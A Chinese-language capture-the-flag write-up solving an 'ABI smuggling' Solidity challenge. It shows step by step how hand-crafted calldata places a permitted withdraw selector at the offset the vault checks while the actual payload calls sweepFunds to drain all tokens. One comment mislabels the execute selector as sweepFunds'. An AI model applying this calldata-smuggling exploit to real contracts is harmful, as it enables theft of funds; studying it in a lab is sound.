有一个权限设置的保险库,其中存入了一百万个DVT代币。该保险库允许定期提取资金,并在紧急情况下全部提取资金。
该合约内嵌了一个通用的授权方案,只允许已知账户执行特定操作。
开发团队收到了一个负责任的披露,称所有资金都可以被盗取。
在为时已晚之前,从保险库中解救出所有资金,并将它们转回恢复账户。
下面是solidty二进制接口说明文档
SelfAuthorizedVault.sol合约中的execute方法:
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
在abi-smuggling.challenge.js中执行
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const sweepFundsCalldata = vault.interface.encodeFunctionData('sweepFunds', [recovery.address, token.address])
const data = vault.interface.encodeFunctionData('execute', [vault.address, sweepFundsCalldata])
console.log('Full calldata:', data)
//下面是打印的内容
// 0x1cff79cd //sweepFunds(address,address)的函数选择器 哈希的前 4 字节
// 000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512 //0x00 receiver地址
// 0000000000000000000000000000000000000000000000000000000000000040 //0x20 动态类型从0x40开始,这里的开始指动态长度,长度后面紧跟动态数据
// 0000000000000000000000000000000000000000000000000000000000000044 //0x40 动态类型长度 0x44 这里开始紧跟动态数据
// 85fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000 //0x60-0xa0 sweepFunds calldata
});
通过打印出来的Data我们可以分析动态类型是怎样传递数据的。这样直接提交交易肯定无法通过断言的,但是我们可以改成这样,这样就通过挑战了。
0x1cff79cd //execute(address, bytes)的函数选择器 哈希的前 4 字节
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512 //0x20 receiver地址
0000000000000000000000000000000000000000000000000000000000000080 //0x40 这里80指0x80开始是动态类型相关数据
0000000000000000000000000000000000000000000000000000000000000000 //0x60 空着
d9caed1200000000000000000000000000000000000000000000000000000000 //0x80 这里的d9caed12是withdraw(address,address,uint256)的函数选择器,为了通过execute中的selector的相关断言
0000000000000000000000000000000000000000000000000000000000000044 //0xa0 动态类型的长度 再后面就是sweepFunds calldata
85fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
abi-smuggling.challenge.js
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const tx = {
to: vault.address,
value: 0,
data: "0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000",
gasLimit: 500000
}
await player.sendTransaction(tx)
});